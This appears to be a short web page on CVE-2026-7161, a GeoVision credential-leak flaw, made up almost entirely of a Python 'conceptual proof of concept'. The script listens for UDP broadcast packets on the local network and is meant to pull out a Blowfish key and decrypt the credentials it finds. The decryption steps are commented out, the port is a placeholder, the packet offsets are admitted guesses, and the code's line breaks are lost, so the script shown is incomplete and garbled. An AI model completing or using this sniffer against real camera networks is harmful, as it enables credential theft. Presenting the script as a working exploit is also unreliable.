CVE-2026-7161 GeoVision凭据泄露漏洞

import socket import struct from Crypto.Cipher import Blowfish import binascii # Conceptual Proof of Concept for CVE-2026-7161 # This script demonstrates how to sniff UDP broadcast packets and decrypt credentials. # Note: The specific packet structure (offsets) and Blowfish implementation details # (mode, padding) would need to be reversed engineered from the specific utility version. def parse_and_decrypt(packet_data): # Hypothetical parsing logic based on the vulnerability description # 1. Extract the symmetric key from the packet (e.g., first X bytes) # 2. Extract the encrypted credentials (e.g., bytes X to Y) # Example offsets (these need to be verified against the real protocol) try: # key = packet_data[key_offset:key_offset+key_length] # ciphertext = packet_data[cipher_offset:cipher_offset+cipher_length] # cipher = Blowfish.new(key, Blowfish.MODE_ECB) # plaintext = cipher.decrypt(ciphertext) # print(f"[+] Decrypted Credentials: {plaintext}") pass except Exception as e: print(f"[-] Decryption failed: {e}") def main(): # Setup UDP socket to listen for broadcast traffic # GeoVision utility typically uses a specific port, replace PORT_NUMBER UDP_PORT = PORT_NUMBER sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", UDP_PORT)) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) print(f"[*] Listening for GeoVision broadcast traffic on port {UDP_PORT}...") while True: data, addr = sock.recvfrom(1024) # Buffer size 1024 print(f"[*] Received {len(data)} bytes from {addr[0]}") parse_and_decrypt(data) if __name__ == "__main__": main()
